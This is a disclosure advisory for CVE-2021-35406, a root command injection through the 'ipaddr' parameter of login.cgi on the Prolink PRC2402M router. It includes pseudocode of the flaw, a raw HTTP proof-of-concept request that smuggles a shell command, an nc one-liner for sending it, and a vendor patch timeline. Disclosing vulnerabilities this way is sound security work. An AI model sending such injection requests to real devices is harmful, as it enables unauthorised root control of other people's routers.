CVE: CVE-2021-35406
Tested Versions:
- Prolink PRC2402M 20190909
Product URL(s):
Description of the vulnerability
This vulnerability is present as there are no checks on user input taken by applogin.cgi
, which is passed to system
, allowing an attacker to execute arbitrary code in the context of the root user on affected installations of the Prolink PRC2402M router.
Authentication is required to exploit this vulnerability.
The router makes POST requests through HTML forms to interact with the cgi scripts. To access the vulnerable script, visit http://localhost/cgi-bin/login.cgi
.
In login.cgi
, the main
function checks if the page
parameter is equal to sys_login1
. If so, it calls the vulnerable function sys_login1
.
page = web_get("page", body);
if (strcmp(page,"test") == 0) {
set_lang_CountryCode(body);
}
...
else if (strcmp(page,"sys_login1") == 0) {
sys_login1(body);
}
...
As seen in the simplified pseudocode of sys_login1
below, if the user provided password is equal to the correct password’s md5sum, the user’s parameter ipaddr
is passed to system
without any input validation, allowing an attacker to supply malicious input and gain arbitrary code execution.
void sys_login1(undefined4 request)
{
...
ipaddr = (char *)web_get("ipaddr",request,0);
ipaddr = strdup(ipaddr);
password = (char *)web_get("password",request,0);
password = strdup(password);
...
if (strncmp(password, correct_password_md5, 0x20)) {
...
sprintf(command,"web 2860 sys addUser %s",ipaddr);
system(command);
...
}
...
}
Exploit
The following payload contains the raw HTTP request that can be used to exploit this vulnerability.
In this example, the password is an empty string, and the md5sum of it is d41d8cd98f00b204e9800998ecf8427e
.
POST /cgi-bin/login.cgi HTTP/1.0
Host: localhost
User-Agent: HTTPie/2.4.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 87
page=sys_login1&ipaddr=$(echo%20gg%3E/tmp/gg)&password=d41d8cd98f00b204e9800998ecf8427e
Save it in a file and run cat payload | nc 192.168.0.1 80
.
Note! Make sure CRLF endings is used in the request payload, otherwise lighttpd which runs on the server will ignore this request.
Timeline
- 2021-06-10 Reported to Vendor, Prolink
- 2021-06-10 Prolink acknowledged report
- 2021-06-10 Prolink claimed to have patched it
- 2021-06-11 Team member Daniel Lim sent in his bypass for their patch
- 2021-06-11 Prolink acknowledged the new bypass
- 2021-06-13 Prolink fixed it